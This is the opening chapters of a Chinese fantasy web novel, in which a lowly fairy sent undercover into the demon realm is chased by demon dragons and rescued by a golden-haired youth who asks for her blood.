《小仙女今天露馅了吗》 1. 迷惘(一) 头顶上悬着一轮圆月,照得沙丘四野银白惨淡。 鸣枝已经在魔域里迷路半个时辰了。 眼前是一片看不到尽头的荒漠戈壁,偶尔吹过一阵风,就能扬起大把黄尘,十步之外人畜不分。 “阿嚏——” 她捏着手里的笛子,一边咽唾沫一边战战兢兢地打量周围。 荒凉。 太荒凉了。 别说是人影,连个鬼影都见不着。 一点也不像有活物生存的样子。 她往前看时是一望无际的沙地,往身后看时仍是一望无际的沙地,地面上只铺着一串行将消散的脚印,在月光下安静得诡异。 虽说外界都传魔域乃野蛮凶残之地,但凶残归凶残,不至于这么的……“空旷”吧? 她不得不怀疑是不是来错了地方。 鸣枝在荒丘的顶端停下脚步,这里视野最开阔,能望见不远处依旧连绵起伏的黄沙,以及漫漫层云中皎洁的月色。 横竖没有旁人在场,她索性又一次将自己从头到尾审视了一遍。 衣饰换成了深色,正常; 小包包内没有忘记处理掉的不妥之物,正常; 身上没有仙味儿,正常。 很好。 她紧绷的神经得到些许缓解。 自己如今很有魔性,很安全,很稳当。 不会被任何异族认出来。 毕竟上仙亲口承诺,施加在她身上的术法天衣无缝,她可以完美融入魔族族群,哪怕道行高深的大魔站在面前,也觉察不出丝毫端倪。 她是个彻头彻尾的魔族中人了。 为了加深对这一身份的认同,鸣枝唯有不断在心里强调:从现在开始,我是一个魔,我是一个魔,我是一个魔…… 没错,之所以要如此洗脑,正因为她不是魔。 不仅不是魔,可怕的是,她还是一个仙——魔族的对立面。 来自神域九重天上。 此刻深黑如墨的苍穹被雪亮的大月轮照得一言不发。 而事情还得从不久之前说起。 下界迎来了冬日第一场大雪,眼瞅着凡间的年节就快到了,神仙同凡人一样忙得脚不沾地。 彼时鸣枝正熬了几个大夜完成了今年余下的工作,尚未到金乌值日的时间,不知怎的,院外忽然亮起一抹白炽。 她险些以为是金乌夜半梦游了,跑到门边想看热闹,却见自己的直属上峰领着执掌刑律的司刑仙君从天而降。 仙君自带飘飘仙气与普照的圣光,照得满屋子都被迫蓬荜生辉起来。 这是统御九霄的十方天神之一,平日日理万机,轻易不会在外露面。 如鸣枝此等末流的小仙女,能见到他的情况一般只有两种:其一,仙君路过头顶时留下的尾气;其二,审判她的罪孽,给她定罪的刑场。 她当下第一反应就是:完了,我闯什么祸了? 一时间记忆一路追溯到好多年前。 偷过的鸡摸过的狗,悄悄去别人殿内蹭香火等等旧事都翻了出来,疯狂盘算着哪个罪名最大,最多能判几年…… 于是,待上峰开口之际,她脑子里已经进展到了削去仙籍打入畜生道的阶段。 “……你也知道,我们与魔族积怨已久,近来又冲突不断,先前几次交手皆未能将其镇压铲除,长此以往,终归是天界的心腹大患。 “此族诡计多端,阴险狡诈,单是正面鏖战恐难分高下,为此众仙家谋划多日,最近才得一妙计。” 她的上峰乃二十八星中的斗宿,是个白发苍苍,长须一大把的老头。 老星官一板一眼地传达着上仙的旨意。 “所谓知己知彼方百战百胜,我等对魔族的了解还停留在数千年前,情报上到底有所欠缺。何况多个自己人在魔界里应外合,许多事也更方便一些。” 老上峰言至此处,抬手摁在她肩头,笑得满面喜气,“所以,尊神们思量再三,诸多评估之后,打算派——你,潜入魔域,完成这项大计!” 鸣枝听完,顿时连畜生道也顾不得跳了,大脑一片空白,相当震惊。 眼见边上金光闪闪的仙君默不作声地一颔首,表示这话真实可信。 她不由更震惊了。 鸣枝:“我!……” 她心想,我配吗我? 毕竟,她只是一名小仙。 这里的“小”字没有任何自谦的意思。 众所周知,天外天上有七百天神,七百天神之下又有两千正仙,两千正仙外还有三千天官,而鸣枝……是的,一个都不占。 她虽然仙龄不小了,可依旧没能挤进竞争激烈的《神仙簿》,至今是个到处接零碎活儿的小人物。 落在民间话本子里便是充当烘托氛围的“撒花仙女”中的一员,和隔壁的“天兵天将”同为难兄难妹,起到一个背景的作用,给大仙们撑场面的。 眼下乍然被委以重任,怎么可能不震惊。 要知道平时这种事等上百年也轮不到她。 鸣枝欲言又止,对着老上峰结巴:“星……星官……” 这是我能接的任务吗? 上仙们夜以继日地商议,就得出如此结论?不像妙计,像在配合她做白日梦啊,是不是有点荒谬? 不料对方却避着司刑,挪了几步同她小声说话:“枝儿啊,这可是个好机会,玄微帝君亲口嘱托,又特命仙君前来传令,其重要之处,想必非同一般。” “你若能助天界铲除妖魔,等于是功德一大件,再怎么着,也能在正仙之位上留个名,你不是一直想有自己的神龛吗?老星官儿我特地帮你争取来的。” 一听原来是上峰为了让她在诸神面前立功,努力撮合的缘故。 鸣枝先是感动,继而又很疑惑:“我去可以么?” “我法力低微,如此大事,难道不应该让那些神通广大的上仙们出面吗?” 怎会放心交给她? “不是要你去魔域大开杀戒,是要你去做暗桩,做卧底的,套点有用的东西。”老星官耐着性子解释,“当然是越不引人注目越稳妥了。那些战神个个神威无边,树敌无数,甫一落地不定就会惊动四方大魔,这还怎么隐蔽行事,你说是吧?” 鸣枝会意:“哦……” 原来她是靠平平无奇才荣获这项美差的。 斗宿星官:“况且大神们哪个不是身居要职,仙务繁忙,潜入魔界非一朝一夕之事,他们哪有这个闲工夫。” 言外之意,就是说她很清闲。 鸣枝十分想替自己辩解一下,却心知此等好运千载难逢,时不再来。 “但我吃天地灵气长大,一身仙味儿掩盖不掉,去了魔族之地岂不扎眼?” “这你无需担忧。” 一旁闪闪发光的仙君终于开口,袖袍一挥,赐她一瓶丹药。 “此乃玄微帝君亲自炼制的仙丹,吃一粒能令你周身仙气变作魔气,即便使用术法,也与寻常魔族无异。” 鸣枝忙接住半空中坠落的瓷瓶。 “仙药不易得,统共两颗,另一颗是以备不时之需的。” “此外,瓶子内部设有法阵,若遇险境,可摔瓶求助……不过用一次就会暴露身份,自己掂量着使。” 瓶身流光溢彩地一闪,便谨慎地隐没其间。 只听对方叮嘱: “切记,凡事不要贪功冒进。你的任务是得到魔族的信任。” 于是,就这样,她仓促学了些粗浅的魔族常识后,连行囊都没收拾多少,便被上仙一袖子扇到了魔域。 鸣枝迎头吃了一嘴沙。 瑟瑟寒风把仙尊们画的大饼吹凉了,直到此刻她才算是真正醒了神。 从前听说的魔界传闻依次浮现在脑海之中,没有一个不是恐怖故事。 什么杀仙如狂,嗜血疯癫,喜怒无常,拿人脑袋当狗脑袋踢云云…… 再瞧瞧周遭的荒凉阴森,与凌霄上的仙气飘飘、宫殿瑶台简直天差地别。 那股上头的兴奋劲过去以后,她热血开始减退,并逐渐看清了撞大运背后的现实。 要在这蛮荒地里和豺狼虎豹为伴,举目无亲地干见不得人的勾当,还要不被发觉。 把朝不保夕当饭吃,提心吊胆当日常。 一年两年必然是回不去的,保不齐要十几年,二十几年,甚至上百年…… 思及此处,鸣枝便忍不住眼前一黑又一黑。 立大功岂是这么容易的事! 连凡人都知道天上不会掉馅饼,毕竟天宫里就没人烙饼。 可事到如今,想打退堂鼓也晚了。 她愁苦地叹了一口气。 没办法,来都来了。 再说那可是玄微帝君的旨令,而且老星官又那么关照自己。 往好处想,富贵险中求嘛。 倘若这次出色地完成差事,就能荣归天阙,然后惊艳所有人! 鸣枝很快就把自己哄好了,重新挺直腰背振作起来。 此前她和魔族的接触其实寥寥无几。 虽然两边大小战事起了不少,但由于神卫队的人总嫌她派不上用场,跟过几次任务,就不爱带她了。 莫说正经魔族,至今鸣枝连魔兽都没见过几只。 对,这次她要认真做好一个卧底,干出点成绩让那帮人刮目相看。 鸣枝下定了决心,执起手中的双鸾笛。 此乃与她心神一体的法器,笛子一端系着的红色流苏是临行前上峰给的,据说可做通信之用。 但只能由对方催动,自己无法主动唤醒。 记得老星官儿曾如是交代: ——“你到了魔域,先去一个叫做‘乌云垂野’的地方。” ——“那是如今最大的魔族都城。” ——“……抵达之后,上面自会找时机联系你。” 魔族都城…… 可是这到处黄沙漫漫的…… 鸣枝朝左右环顾,自言自语道:“我要去哪里找啊……” 连个能问路的都没有。 在她背过去的刹那,松软的沙地上一团轮廓不明的阴影从旁靠近,接着一只枯槁的手蓦地拍向她肩膀。 来者操着沙哑的嗓音唤道:“小姑娘……” 鸣枝正不自觉转身。 迎面便对上一张过分崎岖的脸。 这玩意长得像颗球,表面凹凸不平,细眼之下是一张血盆大口,口中还往外喷腥气,一字一喷地问: “……你在找什么东西吗?” “……” 妖,怪,啊!! 鸣枝周身的毛都要炸了,平生所学的除魔术法一股脑往上涌,争先恐后地要在手中成型,险些没扔过去,转瞬才后知后觉地意识到—— 哦不对,自己现在也是个妖怪来着。 她欲盖弥彰地把手掩到身后,将术法偷偷熄火,大起大落地松了口气。 好悬好悬,差点就把送上门来能问路的人杀了…… 果然就算重复无数次,要适应这个惊悚的新身份还是需要一点时间啊。 鸣枝忙收拾好表情,端起礼貌的微笑,“没、没有。” 看样子对方或许是在附近居住的魔。 相貌虽不敢恭维,不过能主动上前打招呼,那一定不算难相处。 “我想去‘乌云垂野’,这位……” 她斟酌言词,“朋友,你知道怎么走吗?” 圆球听完居然愣了一愣,它并未立刻回答,倒是此物背后又爬出一条赤红蛇形的魔兽,缠缠绵绵地挂在其身上,吐着信子接话: “小妹妹,你想去大魔都?” 没等她应声,对方忽把头靠近些许,三角眼带着怀疑的探究之色:“大魔都威名赫赫,这年头了,还有人不知道路?” “你不是本地魔吧……打哪儿来的啊?” 来了。 一照面就是这种问题。 披着魔族皮的鸣枝悄悄绷紧身体。 ——“魔域有不少部族,也有各自的势力,你混迹其中,如若来历不明很容易引起旁人警觉。” 针对她的身份,临行前上峰们提早准备了一套说辞。 “我是……从乡下小地方来的。” 鸣枝面不改色地回道,“在黑水滩。” ——“黑水滩于魔界中较为荒芜冷僻,生存在此处的魔族几乎和外面没有往来,你借这个名头,一来避免被人拆穿,二来若言行举止有差,也可作为掩护。” 俩魔听完,纷纷流露出一种罕见的怔忡,看得鸣枝不由心头一跳。 随后只见二者竟颇为一致地颔首同情。 “喔……” “黑水滩,那就不奇怪了。” “黑水滩确实偏僻……” “毕竟是黑水滩嘛……” “是啊是啊。” 鸣枝:“……” 这黑水滩什么地方,真有那么偏吗? 不过瞧着对方并无怀疑之色,应该是蒙混过关了。 她赶紧趁热打铁地问,“两位想必对去大魔都的路很了解?不知能否替我指指方向呢?” 赤蛇先与圆球相视了一眼,旋即爽快道:“当然了解。” 它很好说话地伸出蛇尾,尾尖点着东南位,“你就顺着这股风一直往前走,走到底会瞧见一处乱石堆,在那石堆之后便是通往乌云垂野的入口。” 鸣枝记住了路线,分外感激地朝它俩致谢:“多谢指点!” 赤蛇不甚在意地挥挥尾巴。 “慢走啊姑娘。” 她告别了两只魔,沿着风的来向继续赶路。 荒漠中缺乏参照之物,因此容易让人失去距离感,可一旦确定了方位,一切就顺利多了。 不到两炷香,眼前果不其然显现出参差不齐的石林风貌。石林不算密集,只又走了一里便逐渐稀疏。 等穿过石堆,不远处赫然是一个暗流涌动的法阵。 幽幽微风正从其间吹拂而出。 听说魔界在仙凡两界之外,这里的空间各不相连,全靠传送阵进出来去。 事情至此似乎没什么不妥。 鸣枝生在天界长在天界,觉得人迷路了就该找当地居民问路,正如渴了要喝水一样,是天经地义的事,再寻常不过。 她于是攥着笛子往前走。 四周还是一起风就扬尘漫天的黄沙,除了黑压压的石头再无人迹,此时,某块耸立的巨石后面却隐隐约约露出一抹在暗中偷窥的影子,圆溜溜的眼珠仿佛在发光,正盯着一步一步靠近法阵的鸣枝。 就在距离入口不到一丈的时候,毫无征兆地,她脚步一滞,心头猛地一阵警铃大作。 神仙之体敏锐地觉察出危机将至的气息。 像是在呼应她的预感,足底突然震颤不已,所有砂石都在悬空狂舞,黄沙成了一道漩涡,开始往某个中心汇聚。 仿佛有何物行将从地底破土而出。 她小心地往后退了退,就在这一刻,前方的泥沙下,一只庞然大物轰地拔地跃起,咆哮着震耳嘶鸣。 是魔兽! 鸣枝本能地拿起武器要迎敌,然而瞧着那东西越拔越高,越拔越高,她开始仰头张嘴,呆了半瞬,随后当机立断,毫不迟疑地——撒腿就跑。 这谁打得过啊! 小山般的巨兽嚎了一半,忽然发现原地里没人了,它一口气卡在嗓子眼,感觉受到了羞辱,登时咆哮得更厉害,怒不可遏地朝远处的鸣枝追去。 魔域中的兽类均是由魔气孕育而成,和常见的物种不一样,各有各的奇形怪状。 此兽不知名目,大概有一些蛟龙的影子,下半身却粗壮笨拙,前爪短小,只能靠两条腿活动。 鸣枝正逆着风沙狂奔,奔着奔着,发觉旁边多了一坨也在奔跑的不明物体。 她一转头,就见那长蛇裹着圆球,在地上爬得气喘吁吁。 她脚下不停,扯着嗓子问:“那究竟是什么东西?” “两脚魔龙。” 赤蛇要负责逃命,只好由圆球来作答,“看守法阵的魔兽当中最厉害的一种。若是寻常的守阵兽或许还能有一线生机,可一旦遇上它,方圆百里就都没有活口。” 鸣枝边跑边疑惑:“看守法阵?” “唉,就是守在法阵入口,见一个吃一个。传送阵是去魔域各地的必经之路,不少魔兽会蹲守在那儿,也省了去狩猎的工夫。” 圆球比她还苦恼,“只不过守阵兽大多是抱团群居的小角色,也没这么厉害,谁知道你运气那么差,一去就把它招惹上了。” 她在风中凌乱:“为什么法阵外还会有凶兽守着啊!” 那本《魔域全书》上也没写啊?! 一旁累得死狗般的赤蛇终于忍不住开口:“所以说你们是乡巴佬魔呢,早八百年就成这样了,乡下人就是没见过世面!” 鸣枝:“……” 乡巴佬怎么了,欺负老实人! 她明白过来自己是被人骗了,不由义愤填膺:“知道有危险还故意拿我去当诱饵,你们不讲武德!” 圆球不解得十分理所当然:“我们当魔的为什么要讲武德?” 它只有双手没有双脚,缩在赤蛇的怀中替自己辩白:“再说了,那也没骗你呀,这真的是通往乌云垂野的入口。” 末了,贱兮兮地对起手指,“不过多了点别的东西而已。” “……” 来魔界不到一个时辰,鸣枝已经深刻地体会到魔之一族的险恶! 这两只妖怪八成是想趁守阵魔物被自己引走的间隙,偷偷穿过法阵。 亏她以为人家怪好的,还在那里谢谢它们呢。 鸣枝一面跑一面习以为常地哀号:“我就知道有好事情也轮不上我!” 魔龙虽只有两条腿,但胜在人家腿长,听声音分明又近了不少,她咬咬牙,捏紧笛子蓦地刹住脚,而后利落干脆地转过身。 巨兽犹在向着他们奔跑而来。 鸣枝迎风站定,随后把长笛挽了个花放在唇下,对着魔兽吹了一曲旋律古怪却节奏极快的小调。 跑在前面的圆球忽见她没了影子,一扭头,发现令人闻风丧胆的两脚龙竟硬生生被定在了地上,居然动弹不得! 天老爷,真是人不可貌相。 它俩立刻喜出望外地滚了回来,看鸣枝的眼神充满了崇拜:“想不到你这么厉害,守阵魔龙都对付得了。” “早说呀,早说我们就不用跑了。” 这二合一魔物兴奋地等着瞧好戏:“接下来要干什么?我长这么大还没吃过龙肉呢!” 说完一回头,边上的位置空无一人,鸣枝早窜出了二里地。 还能干什么。 她足下几乎悬空,简直掠出了残影。 当然是抓紧时间逃命了! 那点小伎俩又不能维持太久。 背后的两只魔忙夹着尾巴追赶:“喂,等等我们啊——” “怎么说走就走,年轻人这么不讲武德呢!” “就是!” “……” 鸣枝的脚力比它俩快得多,不多时就拉出了一段距离。 苍茫的天幕里圆月依旧高悬,又大又亮,可说不出为什么,她总觉得这个夜色有点奇怪。 好像…… 好像一直不见变化似的。 还没等细想,地面传来的震颤差点让她一脚摔出去。 魔龙挣开束缚了。 好快! 鸣枝心里不禁一紧——比自己预料中的快了半炷香。 她回头时,背后的两只小喽啰天灵盖都快炸起来了,愈发铆足了劲地逃命。 “来了,来了!追来了!” 赤蛇几乎把自己扭成了麻花。 听见远方传来巨兽愤怒的咆哮,圆球鸡皮疙瘩直冒,朝鸣枝道:“完了,你把它惹生气了!” 她喘着气地问:“惹生气了会怎么样?” 两只魔同时惊慌失措:“它会召唤分身!” 仿佛是在印证它俩的说法,话音落下的刹那,鸣枝只觉地动的震感成倍增加,风中的嚎叫声多了一重,又多了一重。 “据说两脚龙有一处秘密空间,里面全是它们的族群,如若不能立刻将其杀死,就会不停地从栖息地内召唤出一模一样的魔龙,实力相等,无穷无尽,所以才会让方圆百里没有活口……” 正在这解释的当下,龙形的魔兽已逼至近处——居然有三头。 鸣枝倒退着小跑,迅速吹了三段笛音荡过去,通通收效甚微。 经历了刚刚那一出,对方分明早有准备,现在别说定住它一时,想必一瞬也困难。 巨兽的长尾裹挟着猎猎腥风落下,两只小魔当即抱头匍匐,她连忙就地纵身一跃。 两脚龙明显对那圆球和赤蛇组成的丑八怪不感兴趣,大概是为了报方才的一控之仇,看也不看便从旁掠过,只一味朝鸣枝追去。 在滚滚烟尘里抬起视线的小妖魔甫一望见她逃奔的方向,急得七嘴八舌: “别往那边去啊!” “那边有更厉害的魔!” 鸣枝使出了吃奶的力气在跑。 远处传来的呼喊声左耳进右耳出,她不是没听见,但有了先前上当受骗的经历,对于那两头魔物的话她是一个字也不相信,压根没往心里去,只趁着这个空隙飞快地思考对策,满脑子都在想:怎么办,怎么办…… 她本来就不擅长单打独斗,更别说三头魔龙一头也打不过。 这地方又四面看不到边,去往魔都的路到底在哪儿还没着落呢,甚至没个能藏身的地方。 她忍不住控诉:“不是说好的当卧底不用大开杀戒的吗,怎么上来就是魔兽对我开杀戒啊!” 果然还是应该让那些厉害的上神出马。 众仙家的想法根本不靠谱,传送的方位更不靠谱。 谁来帮帮她啊! 正在这个时候,前方又出现了另一片石林。 太好了,藏身的地方! 虽和刚才的那个石林相比有所不同,鸣枝仍想也不想地钻了进去。 四面的大石高低错落,至少能暂时迷惑魔龙的视线,她贴在一块内凹的小石洞内让自己缓一缓体力。 现在该怎么做才好?…… 鸣枝把身上的东西翻了个遍,绝望的发现全是派不上用场的小玩意。 因为老星官千叮咛万嘱咐要以潜伏为主,能打的都是危险之物,容易被人怀疑,于是她带的都是些不危险的,扔出去也只能给两脚龙当零嘴! 魔龙吃零嘴吗? 魔龙会觉得她更好吃还是零嘴更好吃? 答案不是显而易见嘛! 只这么一会工夫,三头大龙说到就到,震得周遭地动山摇。 鸣枝悄悄从一旁探头往外看,能看见三只巨兽呈三角之势包围着此处开始逐一搜寻。 她心跳如雷地缩了回去,神经紧绷到极致。 手里攥着那装药的小瓷瓶。 ——若遇险境,可摔瓶求助。 ——不过用一次就会彻底暴露身份。 要打破药瓶,开启法阵吗? 她才来魔域不到一个时辰呢! 自己不会成为有史以来最早被打包退回仙界的暗探吧? 那也太丢人了! 她惊艳所有人的理想大概只能达成一半——惊到所有人。 而最最关键的,这是星官特地给她求来的机会。 她要怎么面对自己的老上峰…… 鸣枝攥得手指骨节都泛出了青白,几乎是在天人交战。 心想我死在这里算了。 好歹也是英勇殉道,至少听上去体面一点。 上峰或许会给她做个衣冠冢。 希望是镶金边雕莲花那种。 她脑子里在电光石火间疯狂跑起走马灯,连牌位上要写什么都想好了。 不行——这么下去不是办法! 鸣枝握着笛子把心一横。 赌一把,用原形的话速度会更快,趁魔龙还没发现她,利用时间差,化形跑出去。 能不能成功全看天意了。 她定了定神,正起身要往外冲。 突然,近处不知是哪里传来一个年轻的声音: “两脚龙这种东西视力一般,耳朵也不太好使,大晚上的未必能看出哪块是萝卜哪块是石头,全靠嗅觉辨别方向。” 鸣枝身形蓦地顿住,仰起头四顾。 怎么有人? 嶙峋的怪石静悄悄地矗立在月夜下,风沙从她面前划过,除了自己她什么也没瞧见,是谁在说话? “所以你躲在这里就跟站在外面一样没区别。” 对方的嗓音懒洋洋的,并不很清脆,甚至微微带着点哑,可不知为什么,听上去却天然有种清畅上扬的少年气。 鸣枝:“你是……” 刚开了个头,那人就简明扼要地打断:“来了。” “左边。” 下一刻,魔兽的爪牙犁地似的一路摧枯拉朽地朝她抓了过来。 2. 迷惘(二) 鸣枝都不知道自己是怎么躲开的。 回过神时,她已经在另一块巨石下心有余悸地大喘气了。 刚才那一幕实在太过惊险,说不好是对方提醒得快还是她本能反应得快,这种至极的闪现一辈子恐怕也就一次了! 而那人的声音竟还如影随形地响在耳畔,语气透着些微意外: “诶,你身法蛮灵活的嘛。” “你是谁?” 鸣枝转了一圈仍旧不见其踪迹,视线投向左边时是崎岖的怪石,投向右边则是弥漫的黄沙。 长得像活物的就她一个。 此人却宛若能精准捕捉到她的动作,格外好心地提醒:“不在那里,你把头抬起来,对,就这样,往后看。” “往后。” “再往后。” 等鸣枝后脑勺都快挨着背了,才听这厮道:“好了,看见了吗?” 入目是一大块沉默的石头,又高又宽,甚是魁梧,被月光一照还发亮,姿态仿佛是在叉腰俯视她。 “……” 原来是个石头怪! 似乎早料到她会有此想法,对方轻轻不满地啧了一下:“别瞎猜,我不是石头变的。” “那你是……住在石头里?” “目前可以这么说吧……西北方向来了一只,往西南挪两步,能看到个小洞。” 鸣枝不自觉地跟随此人的指示行动,直到这时她才恍惚想起方才两只小喽啰的提醒。 ——那边有更厉害的魔! 她边挪边琢磨。 这会是它们口中的那个大魔吗? 石洞十分逼仄,即便身形并不高大,鸣枝也得深吸口气收着手脚才能勉强让自己挤进去。 她心跳如鼓,一时难以凝神探查外面的情况,于是悄声询问:“走了吗?” “没呢。” 当对方再度开口,能感觉到那话音无比清晰地从四面的石头里传出来。 “还在周围转悠。” 知道这帮魔兽恐怕不会善罢甘休了,鸣枝禁不住忐忑不安,她想了想,试探地开口:“听你刚刚提起两脚龙的语气,你应该很有实力吧……” 她企图激发魔族人的胜负欲:“我是说……三只凶兽在你的地盘上撒野,你不生气么?” 不是都传魔族最争强好胜吗? 这种情况,怎么地也得怒发冲个冠,嗷嗷叫着把对方赶走吧。 不晓得加上自己,两人一起能有几成胜算…… 然而对方却没回答这个问题,反倒甚为突兀地说: “今天是个月圆夜。” 满目危机四伏,冷不防听他谈论景致,鸣枝脑子显然未能转过弯。 石头怪毕竟没有惹上杀身之祸,语调悠然得不紧不慢: “你不觉得,这月亮圆得太久了吗?” 她心里蓦地一咯噔。 仿佛是被此人轻描淡写的一句话点醒了先前一闪而过的疑云。 别说是月亮了,整个夜晚都持续得过于漫长,她分明在沙漠里打转了小一个时辰,可天色却一点不见变化。 连明月所在的位置也纹丝未动。 石头怪只浅浅一提,话音倒是很平静:“我这人生来有个毛病,每逢满月便会发作,一旦曝露在月夜之下就会……唉,总之麻烦得很。” “所以,当天我一向不出门。” 这毛病确实挺麻烦,不仅麻烦,还有点奇特…… 从来只听说妖魔鬼怪畏惧日光,没听说畏惧月光的。 “原本我挑了个月圆后的日子,特地来迷惘墟想打点野味回去,谁知甫一落地,发现这里不知几时窜进只魇兽。 “魇兽喜寐,又善于操控时间,它把整个荒漠恰好固定在了月圆当夜。” 魇族嗜睡,据说一日不醒,受其影响的时辰就一日不会流动。 鸣枝正听得心不在焉,倏地发觉脚边的碎石在隐隐震颤。 她慌忙扬起视线,不只是地面,头顶也开始簌簌往下掉沙子。 完了,魔龙。 石头里的嗓音颇为无奈:“没办法,事出突然,我只好临时罩了这座巨石遮挡——这石林是个魔器,据说可以隔绝万物。” “外面的家伙来了好几拨,都在研究怎么吃我,我出不去,它们也进不来,算是被困在这里了……不晓得那头魇兽还要睡到什么时候。” 鸣枝现在无暇顾及他的烦恼,因为正对面的就是她的烦恼——两脚龙的爪子在刨墙了! 而且看上去这石壁并没有坚固到能抗住三只庞然大物的地步,很明显开始摇摇欲坠。 石头中聒噪的话语短暂默了默,大概瞧见外围在落灰,过了一会儿不咸不淡地解释:“哦……我在此地待挺久了,石墙的庇护力应该也在减弱,如今怕是挡不了你的那一部分。” 这么要紧的事你才知道吗! 她卡在石洞内,简直进退两难,顶着不断下落的碎渣问:“那能不能让我也进去躲一躲?” 石头怪的声音显得有些为难,倒不是介意,好像真是因办不到而感到懊恼。 “唉,不行啊,它没法放人进来,只能由我从里面打破,可是石头破了就没了……我身上就这么一块。” 这叫什么厉害的大魔,跟带壳的王八有什么区别! 鸣枝愁得不知如何是好。 眼下这距离之窄,什么也施展不开,连侧个身都困难。 不会吧。 她不会真的要完蛋吧! 正想着,巨兽尖锐的指甲一把刺入洞内,堪堪扎在脸颊边上,距离耳朵恐怕就一寸,再挪点她能被爆头。 鸣枝冷汗都给吓了出来。 好在也由于扎得太深,魔龙当下抽不出爪子,尴尬地嵌在那里。 此时,巨石里的人微妙地静了半瞬,忽然问:“诶,你想活命吗?” 她攥着长笛护在胸前,心说这是什么傻话。 “那当然想啊!” 她还要完成上仙交代的任务,要在《神仙簿》上留名,要有自己的神龛,有许多香客信徒……仔细一想她惦记的事还不少。 对方一扫先前的漫不经心,无端正经起来:“如果我有办法让我们二人脱困,但是需要借你的血一用,你肯不肯?” 鸣枝只犹豫了一息光景:“要用很多吗?” “不多,不过会……” 听到“不多”两个字,她便干脆利落地打断:“我怎么给你?” 不就是放点血,横竖已经山穷水尽了,这算得了什么。 许是她答应得太痛快,石头微微一讶,欲言又止地顿了顿,最后只说: “你把胳膊伸过来,靠着石壁就行。” 挨在近处的魔龙利爪正愤怒地挣扎着,鸣枝忙举起左手,伸至高处。 那人道:“我再问一遍,你是自愿将血献给我的吗?” “噌”的一声。 几乎是同时,魔兽终于将它的爪子拔了出来,重新对准她脑门儿,鸣枝头皮都要炸了: “自愿自愿自愿!……” 她是背对着巨石的,看不见发生了什么,但能感觉到手背贴着的石块骤然“消失”了一般,很空荡。 随后有种温热柔软之物覆上手腕—— 继而是一股尖利的刺痛。 她打了个激灵,本能地挺直腰杆,密密麻麻的鸡皮疙瘩随着那一线触感直冲灵台。 她被什么东西咬了一口! 鸣枝甚至来不及细想,魔兽粗糙龟裂的前爪把石墙掏出了一个洞,月光直直投在脸上。 也就是这时,她耳边隐约听见一点很轻慢的笑。 笑得短促又飞扬。 如果能再仔细听,或许还会听出其中夹杂着微不可闻的,吞咽的动静。 墙外一张腥臭无比的血盆大口朝着这边兜头咬过来。 下一刻,平地里乍然起了一阵凛冽的飓风。 这风来得毫无根据,却生生将贴脸的凶兽弹出一丈之远。 接着,背后的巨石“砰”地从中爆开,四分五裂地向周遭迸溅,每一块都足有千钧之重。 在即将砸到她的瞬间,鸣枝被人迅速打横一抱,极其轻巧地一跃而出。 这破石而出的力道不知有多大,竟把黄沙团成了一簇火龙卷,让人根本无法视物 ,有那么片刻,连天光也被飞尘所遮蔽。 鸣枝感觉自己貌似腾空了,从一个很高的地方冲出了滚滚风沙。 她艰难放下挡脸的胳膊。 落入视线的第一眼,是一轮硕大皎洁的明月。 在广阔无垠的沙漠中它亮得不像话,也大得不像话,宛如一捧澄澈寒凉的雪光,照得半壁夜空都是幽邃的银芒。 而此刻,雪光下扬着一抹浅浅的金色,千丝万缕地随风起伏荡漾。 鸣枝瞳孔微微一怔。 这是个…… 她吃惊地张了张嘴。 金发的,少年。 大概在山石内待得太久,他一脑袋半长不短的头发狼尾似的略显凌乱,唯独脸生得格外齐整,眉眼干净清爽,英气勃勃,却另有几分少见的俊秀。 约莫是发现她在打量自己,还转过头露了个灿烂无比的笑: “承蒙馈赠,感激不尽——多谢你的血。” 那嘴角高扬成一个舒展又明亮的弧度,露出一颗虎牙来。 好尖的牙。 鸣枝捂住手上的伤口。 难怪这么疼。 少年带着她踩在乱飞的石块中间几个起落,很快寻了个能下脚的地方。 他将她放在石林高处,抹了一把唇边的血渍,轻快道:“你在这里等我一下。” 许是长时间没能呼吸到外面的新鲜空气,他瞧着心情好极了,背过身活动了一圈脑袋,把筋骨转得“喀噶”作响,“啪”地握拳一拍掌,一副要大干一番的架势。 “两脚龙是吧,让我看看——” 那排山倒海的龙卷风恰好在这会儿散开,三头魔兽正对着他不远,成扇形之势被吹得晕头转向。 他放下在眉上搭凉棚的手,满眼全是跃跃欲试的兴奋劲儿。 鸣枝就见面前的人倏忽一闪,快得近乎化作了一道金色的残影悬在半空。 她抬起头,瞠目结舌地看着那人从自己的掌心里缓缓拔出一柄足有他大半个身子长的巨剑,铮然划出一道亮弧。 “大魔兽,就是要用大刀——” 他说着,大开大合,简单粗暴地当空一挥。 “才合适。” 利刃的余威只轻轻掠过鸣枝鬓边的秀发。 剑光消弭之后,四周安静了片晌,旋即在她注视之下,三头数丈高的魔兽齐刷刷被一分为二。 呲的一声,切口整齐。 魔兽爆体荡开的腥风一股脑掀翻了她的青丝,在鸣枝怔忡之际糊了她一嘴。 “……” 不是,这也…… 太夸张了吧?! 那可是把她追得连滚带爬,万念俱灰,都想着以死明志的强敌,人家只要一招吗? 失、失敬了。 这可比带壳王八厉害得多…… 简直是强得离谱。 鸣枝一边怀疑起自己的人生,一边又替仙界怀疑仙界的仙生,对魔界的战力产生了不小的畏惧。 她先是想,完了,我们毫无胜算。 然后又愁苦:怎么办,想回家…… 彼时不远处的矮坡上,一球一蛇两只小魔正死狗般追来,原是打算瞧瞧她的情况,不偏不倚刚好撞上这凶残的一幕。 它俩连气也顾不上喘,原地吓成了魔干,抱住彼此瑟瑟发抖,掉头就往回扭。 “炽阳啊,是是炽阳!” “快跑!——” 高处的金发少年将巨剑轻松写意地扛在肩上,望着被他逐一斩首的魔兽,似乎是在欣赏自己的刀工。 听到那边传来惊呼,他也仅是侧头一瞥。 眼见是微不足道的小杂碎,便懒得再去追。 鸣枝正坐在柱状的石峰顶端,有一颗魔龙头颅不慎滚到了底下,和她大眼瞪小眼。 “……” 不管怎么说,总算是得救了。 不用灰溜溜地求助,也不必舍身喂虎狼,任务还能继续下去。 才叹完一口气,忽然间,视线里一花。 一头乱糟糟的金发挡住了那死不瞑目的兽头。 她一愣神,便对上了另一双眼睛。 3.迷惘(三) 这块石峰也就刚好供两人落脚,由于鸣枝趴着在看峰底的兽头,便站不下第二个人了。 他是足尖踩着边缘,晃晃悠悠蹲在那里的,半个身子悬空在外。 少年凑得很近。 一双瞳仁非常清透,颜色比一般人要浅,介于橘红与橙黄之间,像漂亮的冰红玛瑙。 盯着她看时,神情专注又带着十足的探究,若有似无地流淌出一股危险的气息。 鸣枝才咽回去的心瞬间又提了起来。 